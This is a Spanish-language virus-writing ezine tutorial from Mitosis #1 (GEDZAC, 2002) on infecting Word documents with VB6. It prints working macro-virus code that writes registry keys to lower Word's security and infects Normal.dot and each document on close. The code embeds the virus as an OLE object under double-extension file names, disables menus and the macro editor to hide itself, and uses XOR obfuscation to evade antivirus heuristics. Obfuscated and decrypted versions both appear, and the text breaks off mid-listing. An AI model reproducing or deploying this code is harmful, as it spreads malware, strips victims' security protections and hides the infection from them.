Copy Link
Add to Bookmark
Report

Gedzac Mitosis Ezine Issue 01 007

eZine's profile picture
Published in 
Mitosis
 · 4 years ago

  

(C) MITOSIS #1 E-Zine/GEDZAC 2002


Tema : Infeccion de documentos de Word y Excel usando VB 6.0
Autor : MachineDramon
Válido para : Microsoft Visual Basic 6.0

--------------------------------------------------------------------------------------------

Nesecitaremos una copia del virus, en este ejemplo se tomara una copia
virus.dll ubicada en el directorio de sistema

Primero escribiremos algunas funciones y procedimientos que necesitaremos:

Esta funcion nos da las rutas del los folderes windows(0), de sistema(1)
y temporal(2) dependiendo del numero que le pasemos.

Function g(x)
'Si error pasar a la siguiente linea
On Error Resume Next

'Declara el objeto "Scripting.Filesystemobject"
Set f = CreateObject("Scripting.Filesystemobject")

'Si x = 0 entonces devolvera el directorio de windows: ejem: "C:\windows"
If x = 0 Then
g = f.getspecialfolder(0)

'Si x = 1 entonces devolvera el directorio de sistema:
'ejem: "C:\windows\system""
ElseIf x = 1 Then
g = f.getspecialfolder(1)

'Si x = 2 entonces devolvera el directorio temporal: ejem: "C:\windows\temp"
ElseIf x = 2 Then
g = f.getspecialfolder(2)
End If

'Libera el objeto "Scripting.Filesystemobject"
Set f = Nothing
End Function


Este procedimiento es para escribir en el registro. Solo hay que pasarle
la clave y el valor que queremos escribir y "" si queremos escribir un valor
de cadena o "REG_DWORD" para un valor hexadecimal.

La llamada al procedimiento para escribir como cadena seria:
Rw "Clave", "valor", ""
La llamada al procedimiento para escribir como hexadecimal seria:
Rw "Clave", "valor", "REG_DWORD"

Sub Rw(x, y, z)
'Si error pasar a la siguiente instruccion
On Error Resume Next

'Declaramos el objeto "Wscript.shell"
Set w = CreateObject("Wscript.shell")

'Esto lo hacemos para saber que valores vamos a escribir
'como cadena o como hexadecimal
if z <> "" then

'Si z diferente a "", entonces se escribe como hexadecimal
w.Regwrite x, y, "REG_DWORD"

else

Si z igual a "", entonces se escribe como cadena
w.Regwrite x, y

end if

'Liberamos el objecto "Wscript.shell"
Set w = Nothing
End Sub


Infeccion de Word:
Word tiene un archivo llamado Normal.dot que utiliza como plantilla y carga
cada vez que word se inicia, este archivo es el que es infectado por los
macrovirus para propagarse infectando otros archivos doc, cuando sean
abiertos, guardados, cerrados, etc.
A Normal.dot le insertaremos codigo de macro desde el virus, para que en
cada archivo doc que sea cerrado inserte una copia del virus.
Para esto usaremos los eventos:

Autoexec() ->Se activa cada vez que word se inicia
Document_Open() ->Se activa cada vez que se abre un documento
Document_Close() ->Se activa cada vez que se cierra un documento

ActiveDocument es el objeto que hace referencia al documento abierto
NormalTemplate es el objeto que hace referencia a la plantilla

Colocaremos un procedimiento "Sub Autoexec()" en la plantilla, con codigo
para que cada vez que Word se inicie se redireccionen las teclas Alt+F8
y Alt+F11.

Colocaremos un procedimiento "Private Sub Document_Close()" en la plantilla
con codigo para que cada vez que un documento se cierre, sea infectado

El codigo en la plantilla insertara en el documento una copia del virus
y un procedimiento "Private Sub Document_Open()", con codigo para que
si la pc no esta infectada, al abrirse el documento ejecute automaticamente
el virus insertado, en caso de que este habilitada la ejecucion de Macros


Este es el procedimiento que se pone dentro del virus:

Sub DocInfected()
'Si error pasa a la siguiente instruccion
On Error Resume Next

'Declaramos Nl como entero
Dim Nl As Integer

'Declaramos el objeto "Scripting.FileSystemObject"
Set f = CreateObject("Scripting.FileSystemObject")

'Declaramos el objeto "Word.Application"
Set Wr = CreateObject("Word.Application")

'Hacemos invisible la ventana de Word
Wr.Visible = False

'Llamamos a este procedimiento para desabilitar las medidas de seguridad
'de Word
DisabledSW Wr

'Le quitamos a la plantilla normal algun atributo de oculto o solo lectura
'si lo tuviese
SetAttr Wr.NormalTemplate.Path, 0

'Igualamos la variable objeto Wnd al proyecto de VB de la plantilla
Set Wnd = Wr.NormalTemplate.VBProject.VBComponents.Item(1)

'Si la primera linea del proyecto de la plantilla es igual a "'gedzac",
'entonces ya esta infectada

If LCase(Wnd.Codemodule.Lines(1, 1)) = "'gedzac" Then
'Liberamos la variable objeto Wnd
Set Wnd = Nothing

'Salimos de Word
Wr.Quit

'Salimos del procedimiento
Exit Sub

'Sino es igual a "'gedzac" la primera linea del proyecto VB de la plantilla
'la infectamos

'Igualamos el nombre del proyecto VB de la plantilla a "GEDZAC" tambien
Wnd.Name = "GEDZAC"
End If

'Definimos variables como valores de cadena
Dim M1, M2, M3, M4, M5, MCV As String

'Creamos un archivo "mcw.vir" en el directorio de sistema, para averiguar la
'ruta de este llamamos a la funcion que definimos antes:
Set Wmw = f.CreateTextFile(g(1) & "\mcw.vir")

'Ahora escribimos en las varibles el codigo de Macro que insertaremos en la
'plantilla, el codigo esta semiencriptado para tratar de evitar la heuristica
'y las comillas se han sustituido por "¢", ya que no podemos escribir dobles
'comillas en una cadena. El codigo sin encriptar se vera más adelante.

'Colocamos como primera linea "'GEDZAC", para saber que ya esta infectada
'la plantilla
M1 = "'GEDZAC" & vbCrlf & _
"Sub AutoExec()" & vbCrlf & _
"On Error Resume Next" & vbCrlf & _
"Key8 = BuildKeyCode(wdKeyAlt, wdKeyF8): Key11 = BuildKeyCode(wdKeyAlt, wdKeyF11)" & vbCrlf & _
"Ktip = wdKeyCategoryCommand" & vbCrlf & _
"KeyBindings.Add Ktip, ¢Keys¢, Key8" & vbCrlf & _
"KeyBindings.Add Ktip, ¢Keys¢, Key11" & vbCrlf & _
"End Sub" & vbCrlf & _
"Private Sub Document_Close()" & vbCrlf & _
"On Error Resume Next" & vbCrlf & _
"Dim w, f, Vw(4), n, Nm, ISM, VPath" & vbCrlf & _
"Set AD = ActiveDocument.VBProject.VBComponents.Item(1)" & vbCrlf & _
"Set NT = NormalTemplate.VBProject.VBComponents.Item(1)" & vbCrlf & _
"Set w = CreateObject(u(¢PTdunws)Tobkk¢))" & vbCrlf & _
"Set f = CreateObject(u(¢Tdunwsni`)AnkbT~tsbjHembds¢))" & vbCrlf & _
"Nm = LCase(AD.Name)" & vbCrlf & _
"If Nm <> u(¢`bc}fd¢) Then" & vbCrlf & _
"Vw(0) = u(¢[fudonqh6)ss)bb¢): Vw(1) = u(¢[fudonqh5)ss)efs¢)" & vbCrlf & _
"Vw(2) = u(¢[fudonqh4)ss)wna¢): Vw(3) = u(¢[fudonqh3)ss)dhj¢)" & vbCrlf & _
"Vw(4) = u(¢[fudonqh2)ss)tdu¢)" & vbCrlf & _
"Randomize" & vbCrlf

M2 = "n = Int(Rnd * 5): VPath = f.GetSpecialFolder(2) & Vw(n)" & vbCrlf & _
"If Dir(VPath) = ¢¢ Then" & vbCrlf & _
"FileCopy f.GetSpecialFolder(1) & u(¢[qnurt)ckk¢), VPath" & vbCrlf & _
"End If" & vbCrlf & _
"NL = AD.Codemodule.CountOfLines" & vbCrlf & _
"If NL > 0 Then AD.Codemodule.DeleteLines 1, NL" & vbCrlf & _
"ISM = u(¢Wunqfsb'Tre'ChdrjbisXHwbi/.¢) & vbCrLf & u(¢Hi'Buuhu'Ubtrjb'ibs¢) & vbCrLf & u(¢Tbs'p':'DubfsbHembds/¢) & Chr(34) & u(¢PTdunws)Tobkk¢) & Chr(34) & u(¢.¢) & vbCrLf & _" & vbCrlf & _
"u(¢Tbs'a':'DubfsbHembds/¢) & Chr(34) & u(¢Tdunwsni`)AnkbT~tsbjHembds¢) & Chr(34) & u(¢.¢) & vbCrLf & _" & vbCrlf & _
"u(¢FJ':'@bsFssu/a)@bsTwbdnfkAhkcbu/6.'!'¢) & Chr(34) & u(¢[qnurt)ckk¢) & Chr(34) & u(¢.¢) & vbCrLf & _" & vbCrlf & _
"u(¢Na'FJ':'¢) & Chr(34) & Chr(34) & u(¢'sobi¢) & vbCrLf & u(¢FdsnqbChdrjbis)Tofwbt/6.)Qntnekb':'Surb¢) & vbCrLf & _" & vbCrlf & _
"u(¢TQnu':'FdsnqbChdrjbis)Tofwbt/6.)HKBAhujfs)DkfttS~wb¢) & vbCrLf & _" & vbCrlf & _
"u(¢Pnso'FdsnqbChdrjbis)Tofwbt/6.)HKBAhujfs¢) & vbCrLf & _" & vbCrlf & _
"u(¢'''')FdsnqfsbFt'DkfttS~wb=:TQnu¢) & vbCrLf & _" & vbCrlf & _
"u(¢'''')Fdsnqfsb¢) & vbCrLf & _" & vbCrlf & _
"u(¢Bic'Pnso¢) & vbCrLf & u(¢bktb¢) & vbCrLf & u(¢FdsnqbChdrjbis)Tofwbt/6.)Qntnekb':'Afktb¢) & vbCrLf & _" & vbCrlf & _
"u(¢Bic'Na¢) & vbCrLf & _" & vbCrlf & _
"u(¢na'Kdftb/Ihujfksbjwkfsb)QEWuhmbds)QEDhjwhibist)Nsbj/6.)Ifjb.';9'¢) & Chr(34) & u(¢`bc}fd¢) & Chr(34) & u(¢'sobi¢) & vbCrLf & _" & vbCrlf & _
"u(¢Lb~?':'ErnkcLb~Dhcb/pcLb~Fks+'pcLb~A?.='Lb~66':'ErnkcLb~Dhcb/pcLb~Fks+'pcLb~A66.=Lsnw':'pcLb~Dfsb`hu~Dhjjfic¢) & vbCrLf & _" & vbCrlf & _
"u(¢Lb~Enicni`t)Fcc'Lsnw+'¢) & Chr(34) & u(¢Lb~o¢) & Chr(34) & u(¢+'Lb~?¢) & vbCrLf & _" & vbCrlf & _
"u(¢Lb~Enicni`t)Fcc'Lsnw+'¢) & Chr(34) & u(¢Lb~o¢) & Chr(34) & u(¢+'Lb~66¢) & vbCrLf & _" & vbCrlf & _
"u(¢Bic'Na¢) & vbCrLf & NT.Codemodule.lines(49, NT.Codemodule.CountOfLines)" & vbCrlf

M3 ="AD.Codemodule.InsertLines 1, ISM" & vbCrlf & _
"AD.Codemodule.ReplaceLine 62, ¢Sub Keyh()¢" & vbCrlf & _
"ActiveDocument.Shapes.AddOLEObject , VPath, False" & vbCrlf & _
"AD.Name = u(¢@BC]FD¢)" & vbCrlf & _
"If ActiveDocument.Path <> ¢¢ Then ActiveDocument.Save" & vbCrlf & _
"End If" & vbCrlf & _
"If Int(Application.Version) > 8 Then" & vbCrlf & _
"w.RegWrite u(¢OLB^XDRUUBISXRTBU[Thaspfub[Jnduhthas[Haandb[67)7[Phuc[Tbdruns~[Kbqbk¢), 1, ¢REG_DWORD¢" & vbCrlf & _
"w.RegWrite u(¢OLB^XDRUUBISXRTBU[Thaspfub[Jnduhthas[Haandb[67)7[Phuc[Tbdruns~[FddbttQEHJ¢), 1, ¢REG_DWORD¢" & vbCrlf & _
"w.RegWrite u(¢OLB^XRTBUT[)CBAFRKS[Thaspfub[Jnduhthas[Haandb[67)7[Phuc[Tbdruns~[Kbqbk¢), 1, ¢REG_DWORD¢" & vbCrlf & _
"w.RegWrite u(¢OLB^XDRUUBISXRTBU[Thaspfub[Jnduhthas[Haandb[>)7[Phuc[Tbdruns~[Kbqbk¢), 1, ¢REG_DWORD¢" & vbCrlf & _
"w.RegWrite u(¢OLB^XRTBUT[)CBAFRKS[Thaspfub[Jnduhthas[Haandb[>)7[Phuc[Tbdruns~[Kbqbk¢), 1, ¢REG_DWORD¢" & vbCrlf & _
"CommandBars(u(¢Shhkt¢)).Controls(u(¢Jfduh¢)).Enabled = u(¢Afktb¢)" & vbCrlf & _
"CommandBars(u(¢Qnbp¢)).Controls(5).Enabled = u(¢Afktb¢)" & vbCrlf & _
"CommandBars(u(¢Shhkt¢)).Controls(17).Enabled = u(¢Afktb¢)" & vbCrlf & _
"CommandBars(u(¢Shhkt¢)).Controls(18).Enabled = u(¢Afktb¢)" & vbCrlf & _
"CommandBars(u(¢Shhkt¢)).Controls(19).Enabled = u(¢Afktb¢)" & vbCrlf & _
"ScreenUpdating = u(¢Afktb¢)" & vbCrlf & _
"DisplayAlerts = u(¢Afktb¢)" & vbCrlf & _
"Options.ConfirmConversions = u(¢Afktb¢)" & vbCrlf & _
"Options.SaveNormalPrompt = u(¢Afktb¢)" & vbCrlf


M4 = "EnableCancelKey = 0" & vbCrlf & _
"ShowVisualBasicEditor = u(¢Afktb¢)" & vbCrlf & _
"CommandBars(¢Visual Basic¢).Enabled = u(¢Afktb¢)" & vbCrlf & _
"ElseIf Int(Application.Version) < 9 Then" & vbCrlf & _
"CommandBars(u(¢Shhkt¢)).Controls(u(¢Jfduh¢)).Enabled = u(¢Afktb¢)" & vbCrlf & _
"CommandBars(u(¢Shhkt¢)).Controls(14).Enabled = u(¢Afktb¢)" & vbCrlf & _
"CommandBars(u(¢Shhkt¢)).Controls(15).Enabled = u(¢Afktb¢)" & vbCrlf & _
"CommandBars(u(¢Shhkt¢)).Controls(16).Enabled = u(¢Afktb¢)" & vbCrlf & _
"CommandBars(u(¢Qnbp¢)).Controls(6).Enabled = u(¢Afktb¢)" & vbCrlf & _
"Options.VirusProtection = u(¢Afktb¢)" & vbCrlf & _
"Options.ConfirmConversions = u(¢Afktb¢)" & vbCrlf & _
"Options.SaveNormalPrompt = u(¢Afktb¢)" & vbCrlf & _
"ScreenUpdating = u(¢Afktb¢)" & vbCrlf & _
"DisplayAlerts = u(¢Afktb¢)" & vbCrlf & _
"EnableCancelKey = 0" & vbCrlf & _
"ShowVisualBasicEditor = u(¢Afktb¢)" & vbCrlf & _
"CommandBars(¢Visual Basic¢).Enabled = u(¢Afktb¢)" & vbCrlf & _
"End If" & vbCrlf & _
"End Sub" & vbCrlf & _
"Private Function u(s)" & vbCrlf

M5 ="On Error Resume Next" & vbCrlf & _
"For i = 1 To Len(s)" & vbCrlf & _
"u = u & Chr(Asc(Mid(s, i, 1)) Xor 7)" & vbCrlf & _
"Next" & vbCrlf & _
"End Function" & vbCrlf & _
"Sub Keys()" & vbCrlf & _
"On Error Resume Next" & vbCrlf & _
"Dim Lg As String" & vbCrlf & _
"Lg = Application.Languages(Application.Language)" & vbCrlf & _
"If InStr(LCase(Lg), u(¢btwföhk¢)) <> 0 Then" & vbCrlf & _
"MsgBox u(¢Dhjwhibisb'ih'Qæknch¢), 16, u(¢Buuhu¢)" & vbCrlf & _
"Else" & vbCrlf & _
"MsgBox u(¢Ihi'Qfknc'dhjwhibis¢), 16, u(¢Buuhu¢)" & vbCrlf & _
"End If" & vbCrlf & _
"End Sub" & vbCrlf

'Unimos las variables que contienen el codigo de Macro en la variable MCV, el
'codigo se escribio en varias variables y no en una sola, porque cuando se
'trataba de colocar en una solamente, aparecia un mensaje que decia:
'"Demasiadas continuaciones de Lineas"
MCV = M1 & M2 & M3 & M4 & M5

'Ahora reemplazamos con la funcion Replace, el caracter "¢", que estaba en
'lugar de las comillas -> Chr(34), y lo sustituimos por estas.
MCV = Replace(MCV, "¢", Chr(34))

'Escribimos MCV en el archivo
Wmw.Write MCV
'Cerramos el archivo
Wmw.Close

'Contamos el numero de lineas de codigo macro que tiene la plantilla, como
'aun no hemos insertado ninguna, debe ser 0, si fuera > 0, por ejemplo
'si la plantilla ya estuviera infectada por un macrovirus, lo borramos.

'Declaramos la variable objeto Wcm
Set Wcm = Wnd.CodeModule
If Wcm.CountOfLines > 0 Then
'Borramos con DeleteLines desde la linea 1 hasta el numero de la ultima linea
Wcm.DeleteLines 1, Wcm.CountOfLines
End If

'Abrimos el archivo donde escribimos el codigo de Macro
Set Wmr = f.OpenTextFile(g(1) & "\mcw.vir")

'Igualamos Nl a 1
Nl = 1

'Empezamos a leer linea a linea el archivo hasta el final de este
'el bucle Do se detendra cuando se llegue al final(.AtendOfstream = True)
'y seguira mientras aun alla lineas por leer(.AtendOfstream = False)
Do While Wmr.AtendOfstream = False

'Leemos la linea y la guardamos en Wline
Wline = Wmr.ReadLine

'Ponemos un "DoEvents", para darle tiempo a windows que procese otras ordenes
'y no se nos cuelgue el programa.
DoEvents

'Insertamos la linea en la plantilla en la posicion que indica Nl
Wcm.InsertLines Nl, Wline

'Sumamos 1 a Nl, para no insertar la siguiente linea en la misma posicion
Nl = Nl + 1
Loop
'Cerramos el archivo
Wmr.Close

'Una vez infectada la plantilla, guardamos los cambios
Wr.NormalTemplate.Save

'Le damos a la plantilla atributo de solo lectura, para que sea más dificil
'que algun virus o el usuario modifique el codigo que insertamos
SetAttr NormalTemplate.Path, 1

'Liberamos las variables objeto que declaramos y salimos de Word
Set Wcm = Nothing
Set Wnd = Nothing
Wr.Quit

'Liberamos el objeto "Word.Application"
Set Wr = Nothing

'Liberamos el objeto "Scripting.FileSystemObject"
Set f = Nothing
End Sub

'Aqui desabilitaremos algunas opcions de los menús, siguiendo este esquema
'Si tenemos un menú por ejemplo:

' --VER-- ---->Titulo del Menú

' -Regla ---->Opcion con indice 1
' -Subrayar ---->Opcion con indice 2
' -Barra de VB ---->Opcion con indice 3

'Entonces para desabilitar la opcion "Barra de VB", colocaremos esta sintaxis

'.CommandBars(Titulo del Menú).Controls(indice de la Opcion).Enabled = False

'En el caso del ejemplo: Colocamos como titulo del menú la traduccion en
'ingles de su nombre en este caso "View", y el indice que queremos desabilitar
'y establecemos la opcion ENABLED(activado) a False

'.CommandBars("View").Controls(3).Enabled = False

'Este es el procedimiento que desabilita las opciones de seguridad de Word
Sub DisabledSW(Wr)
'Si error pasa a la siguiente instruccion
On error resume next

'Al desabilitar la seguridad, hay algunas cosas que cambian de version a
'version.

'Si la version de Word es mayor que 8 (Word 9.0, 10.0)
If Int(Wr.Version) > 8 Then

'Establecemos el nivel de seguridad a 0, escribiendo en el registro
Rw "HKEY_CURRENT_USER\Software\Microsoft\Office\10.0\Word\Security\Level", 1, "REG_DWORD"
Rw "HKEY_CURRENT_USER\Software\Microsoft\Office\10.0\Word\Security\AccessVBOM", 1, "REG_DWORD"
Rw "HKEY_USERS\.DEFAULT\Software\Microsoft\Office\10.0\Word\Security\Level", 1, "REG_DWORD"
Rw "HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\Word\Security\Level", 1, "REG_DWORD"
Rw "HKEY_USERS\.DEFAULT\Software\Microsoft\Office\9.0\Word\Security\Level", 1, "REG_DWORD"

'Desabilitamos algunas opciones de los menús, como herramientas ->ver Macro
'ver editor de visual basic, ver barra de visual basic, etc

'Por ejemplo en la linea de abajo se selecciona el menu VER("View")
'y se indica la opcion 5 del menú que corresponde a ver barras de
'herramientas y se desactiva, poniendo a False la propiedad Enabled
Wr.CommandBars("View").Controls(5).Enabled = False

'Desactiva herramientas -> Macro
Wr.CommandBars("Tools").Controls("Macro").Enabled = False

'Desactiva herramientas -> Plantillas y Complementos
Wr.CommandBars("Tools").Controls(17).Enabled = False

'Desactiva herramientas -> Personalizar
Wr.CommandBars("Tools").Controls(18).Enabled = False

'Desactiva herramientas -> Opciones
Wr.CommandBars("Tools").Controls(19).Enabled = False

'Desactiva Barra de Visual Basic
Wr.CommandBars("Visual Basic").Enabled = False

'Desactiva Mostrar Alertas
Wr.DisplayAlerts = False

'Desactiva Pedir Confirmacion al convertir a otros formatos,
'Si no Word pediria confirmacion al convertir un doc infectado en txt
'ya que un txt, no soporta macros y entonces el usuario podria
'sospechar
Wr.Options.ConfirmConversions = False

'Desactiva Preguntar si Guarda Cambios en la Plantilla Normal
Wr.Options.SaveNormalPrompt = False

'Baja la seguridad contra virus de Word al nivel mas bajo
Wr.Options.VirusProtection = False

'Desactiva el Editor de Visual Basic, en caso de que este abierto
Wr.ShowVisualBasicEditor = False

'Estas son otras opciones que tambien son desabilitadas
Wr.EnableCancelKey = 0
Wr.ScreenUpdating = False

'Si la version de Word es menor que 9(Word 8.0)
ElseIf Int(Wr.Version) < 9 Then

'Esto es basicamente lo mismo, solo cambian el numero de indice
'a desabilitar en ciertos casos, por ejemplo en la la version
'9.0 para desabilitar la opcion ver barras de herramientas:
'se ponia: ".CommandBars("View").Controls(5).Enabled = False"
'y en la 8.0 : ".CommandBars("View").Controls(6).Enabled = False"
'solo cambia el indice del control de 5 a 6.

Wr.CommandBars("View").Controls(6).Enabled = False
Wr.CommandBars("Tools").Controls(14).Enabled = False
Wr.CommandBars("Tools").Controls(15).Enabled = False
Wr.CommandBars("Tools").Controls(16).Enabled = False
Wr.CommandBars("Tools").Controls("Macro").Enabled = False

'Se establece el nivel de seguridad a 0
Wr.Options.VirusProtection = False

Wr.Options.ConfirmConversions = False
Wr.Options.SaveNormalPrompt = False
Wr.ScreenUpdating = False
Wr.DisplayAlerts = False
Wr.EnableCancelKey = 0
Wr.ShowVisualBasicEditor = False
Wr.CommandBars("Visual Basic").Enabled = False

End If
End Sub

---------------------------------------------------------------------------
Este es el codigo(esta desencriptado) que se inserta en la Plantilla normal,
Para que el codigo funcione deben ser eliminados los comentarios y los espacios
entre lineas.
El comentario 'GEDZAC no debe ser eliminado

'Como primera linea "'GEDZAC", para indicar que ya esta infectada la plantilla
'GEDZAC
Sub AutoExec()

'Si Error pasa la siguiente linea
On Error Resume Next

'Word tiene predeterminada la combinacion Alt+F8 asignada a Ver Macros
'y al Alt+F11 a Ver Editor de VisualBasic, como no conviene que el usuario
'pueda acceder a esas opciones, redireccionamos esas combinaciones al
'procedimiento "Keys", definido por nosotros mismos.

Key8 = BuildKeyCode(wdKeyAlt, wdKeyF8): Key11 = BuildKeyCode(wdKeyAlt, wdKeyF11)
Ktip = wdKeyCategoryCommand
KeyBindings.Add Ktip, "Keys", Key8
KeyBindings.Add Ktip, "Keys", Key11

End Sub

Private Sub Document_Close()

'Si Error pasa la siguiente linea
On Error Resume Next

'Definimos las variables, entre ellas la matrix Vw
Dim w, f, Vw(4), n, Nm, ISM, VPath

'Igualamos AD al proyecto VB del documento actual
Set AD = ActiveDocument.VBProject.VBComponents.Item(1)

'Igualamos NT al proyecto VB de la Plantilla Normal
Set NT = NormalTemplate.VBProject.VBComponents.Item(1)

'Declaramos el objeto "WScript.Shell"
Set w = CreateObject("WScript.Shell")

'Declaramos el objeto "Scripting.FileSystemObject"
Set f = CreateObject("Scripting.FileSystemObject")

'Igualamos Nm al nombre del proyecto VB del documento actual
Nm = LCase(AD.Name)

'Si es diferente de "gedzac" lo infectamos
If Nm <> "gedzac" Then

'Definimos los valores de la matrix de variables Vw()
Vw(0) = "\archivo1.txt.exe": Vw(1) = "\archivo2.txt.bat"
Vw(2) = "\archivo3.txt.pif": Vw(3) = "\archivo4.txt.com"
Vw(4) = "\archivo5.txt.scr"

'Aleatoriamente elegimos uno de los 5 valores de la matrix, usando Randomize
'e igualamos VPath a la ruta del folder temporal + el valor elegido de la matrix
Randomize
n = Int(Rnd * 5): VPath = f.GetSpecialFolder(2) & Vw(n)

'Si el archivo no existe
If Dir(VPath) = "" Then

'Lo copiamos de virus.dll al directorio temporal, si ya existiera no nos es
'nesesario copiarlo
FileCopy f.GetSpecialFolder(1) & "\virus.dll", VPath
End If

'Si el numero de lineas de codigo Macro en el documento actual es > 0
'entonces las borramos
NL = AD.Codemodule.CountOfLines
If NL > 0 Then AD.Codemodule.DeleteLines 1, NL

'Igualamos ISM al codigo que insertaremos en el documento actual
'Notar que al final esta la linea:> NT.Codemodule.lines(49, NT.Codemodule.CountOfLines)
'lo que le indica que inserte tambien desde la linea 49 de codigo de la
'plantilla en adelante.
'Por esto es que para probar el codigo deben eliminarse los comentarios y
'los espacios entre lineas, para que coincida la linea 49, con la linea
'que debe de ser.

ISM = "Private Sub Document_Open()" & vbCrLf & "On Error Resume next" & vbCrLf & "Set w = CreateObject(" & Chr(34) & "WScript.Shell" & Chr(34) & ")" & vbCrLf & _
"Set f = CreateObject(" & Chr(34) & "Scripting.FileSystemObject" & Chr(34) & ")" & vbCrLf & _
"AM = Dir(f.GetSpecialFolder(1) & " & Chr(34) & "\virus.dll" & Chr(34) & ")" & vbCrLf & _
"If AM = " & Chr(34) & Chr(34) & " then" & vbCrLf & "ActiveDocument.Shapes(1).Visible = True" & vbCrLf & _
"SVir = ActiveDocument.Shapes(1).OLEFormat.ClassType" & vbCrLf & _
"With ActiveDocument.Shapes(1).OLEFormat" & vbCrLf & _
" .ActivateAs ClassType:=SVir" & vbCrLf & _
" .Activate" & vbCrLf & _
"End With" & vbCrLf & "else" & vbCrLf & "ActiveDocument.Shapes(1).Visible = False" & vbCrLf & _
"End If" & vbCrLf & _
"if Lcase(Normaltemplate.VBProject.VBComponents.Item(1).Name) <> " & Chr(34) & "gedzac" & Chr(34) & " then" & vbCrLf & _
"Key8 = BuildKeyCode(wdKeyAlt, wdKeyF8): Key11 = BuildKeyCode(wdKeyAlt, wdKeyF11):Ktip = wdKeyCategoryCommand" & vbCrLf & _
"KeyBindings.Add Ktip, " & Chr(34) & "Keyh" & Chr(34) & ", Key8" & vbCrLf & _
"KeyBindings.Add Ktip, " & Chr(34) & "Keyh" & Chr(34) & ", Key11" & vbCrLf & _
"End If" & vbCrLf & NT.Codemodule.lines(49, NT.Codemodule.CountOfLines)

'Insertamos ISM en el documento actual
AD.Codemodule.InsertLines 1, ISM

'Reemplazamos la linea 62, por "Sub Keyh()", ya que no podemos tener un
'procedimiento con el mismo nombre en la plantilla y el documento
AD.Codemodule.ReplaceLine 62, "Sub Keyh()"

'Ahora viene la parte de la infeccion, insertamos la copia del virus
'cuya ruta esta contenida en VPath, al documento
ActiveDocument.Shapes.AddOLEObject , VPath, False

'Igualamos el nombre del proyecto VB del documento a "gedzac"
AD.Name = "gedzac"

'Si el documento no es un documento recien hecho y aun no guardado
'osea si tiene una ruta, lo guardamos.
If ActiveDocument.Path <> "" Then ActiveDocument.Save
End If

'Este es el mismo codigo para desabilitar las opciones de seguridad que se
'comento antes
If Int(Application.Version) > 8 Then
w.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Office\10.0\Word\Security\Level", 1, "REG_DWORD"
w.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Office\10.0\Word\Security\AccessVBOM", 1, "REG_DWORD"
w.RegWrite "HKEY_USERS\.DEFAULT\Software\Microsoft\Office\10.0\Word\Security\Level", 1, "REG_DWORD"
w.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\Word\Security\Level", 1, "REG_DWORD"
w.RegWrite "HKEY_USERS\.DEFAULT\Software\Microsoft\Office\9.0\Word\Security\Level", 1, "REG_DWORD"
CommandBars("Tools").Controls("Macro").Enabled = False
CommandBars("View").Controls(5).Enabled = False
CommandBars("Tools")).Controls(17).Enabled = False
CommandBars("Tools").Controls(18).Enabled = False
CommandBars("Tools").Controls(19).Enabled = False
ScreenUpdating = False
DisplayAlerts = False
Options.ConfirmConversions = False
Options.SaveNormalPrompt = False
EnableCancelKey = 0
ShowVisualBasicEditor = False
CommandBars("Visual Basic").Enabled = False
ElseIf Int(Application.Version) < 9 Then
CommandBars("Tools").Controls("Macro").Enabled = False
CommandBars("Tools").Controls(14).Enabled = False
CommandBars("Tools").Controls(15).Enabled = False
CommandBars("Tools").Controls(16).Enabled = False
CommandBars("View").Controls(6).Enabled = False
Options.VirusProtection = False
Options.ConfirmConversions = False
Options.SaveNormalPrompt = False
ScreenUpdating = False
DisplayAlerts = False
EnableCancelKey = 0
ShowVisualBasicEditor = False
CommandBars("Visual Basic").Enabled = False
End If
End Sub

'Esta es la funcion de encriptacion, que desencripta el codigo cuando es
'ejecutado, esta basada en la operacion reversible XOR
'Por ejemplo si a un numero(A) le hacemos xor por un numero(B), nos dara
'un numero(C), y como es reversible al hacerle al numero(C) Xor por el
'Numero(B), volveremos a tener el numero(A)
'A Xor B = C entonces C xor B = A

'A la funcion se le pasa la expresion que queremos encriptar o desencriptar
'en el argumento S
Private Function u(s)
On Error Resume Next

'Iniciamos un contador de 1 hasta el numero de caracteres que tenga la
'expresion que queremos encriptar, el cual obtenemos con la funcion Len()
For i = 1 To Len(s)

'Ahora con la funcion Mid obtenemos un caracter de la expresion, segun la
'posicion que indica i, con la funcion Asc obtenemos el Codigo ASCII del
'caracter y le hacemos Xor por 7 obteniendo un nuevo numero, luego con la
'funcion Chr obtenemos el caracter que corresponde a ese numero y lo
'agregamos a U, y asi con todos los caracteres de la expresion.
u = u & Chr(Asc(Mid(s, i, 1)) Xor 7)
Next
End Function

'Este es el procedimiento al que redireccionamos Alt+F8 y Alt+F11
Sub Keys()
On Error Resume Next
Dim Lg As String

'Igualamos Lg al idioma de Word
Lg = Application.Languages(Application.Language)

'Si el idioma contiene la palabra "español"
If InStr(LCase(Lg), "español") <> 0 Then

'Mostramos un cuadro que dira "Componente no Válido"
MsgBox "Componente no Válido", 16, "Error"
Else

'Y si no es español lo mostramos en ingles
MsgBox "Non Valid component", 16, "Error"
End If
End Sub

-----------------------------------------------------------------------
Este es el codigo(desencriptado) que tendra el documento infectado:

Private Sub Document_Open()
On Error Resume next

'Declaramos el objecto "WScript.Shell"
Set w = CreateObject("WScript.Shell")

'Declaramos el objecto "Scripting.FileSystemObject"
Set f = CreateObject("Scripting.FileSystemObject")

'Si el archivo virus.dll no existe entonces la pc, no esta infectada
AM = Dir(f.GetSpecialFolder(1) & "\virus.dll")
If AM = "" then

'Hacemos visible la copia del virus insertada y tratamos de ejecutarla
'si Word no ejecuta el codigo macro, la copia estara visible pero
'no se ejecutara automaticamente, aunque todavia el usuario puede ejecutarla
'por curiosidad.
ActiveDocument.Shapes(1).Visible = True
SVir = ActiveDocument.Shapes(1).OLEFormat.ClassType
With ActiveDocument.Shapes(1).OLEFormat
.ActivateAs ClassType:=SVir
.Activate
End With

'Si existe el archivo virus.dll, entonces ocultamos el virus insertado, para
'que no se de cuenta de que hay algo insertado en el documento
else
ActiveDocument.Shapes(1).Visible = False
End If

'Si la plantilla no esta infectada, redirigimos Alt+F8 y Alt+F11 al procedi-
'miento "Keyh", este procedimiento en el codigo de la plantilla se llamaba
'"Keys", pero le reemplazamos el nombre porque no podemos tener 2 procedimi-
'entos con el mismo nombre en la plantilla y en el documento.

if Lcase(Normaltemplate.VBProject.VBComponents.Item(1).Name) <> "gedzac" then
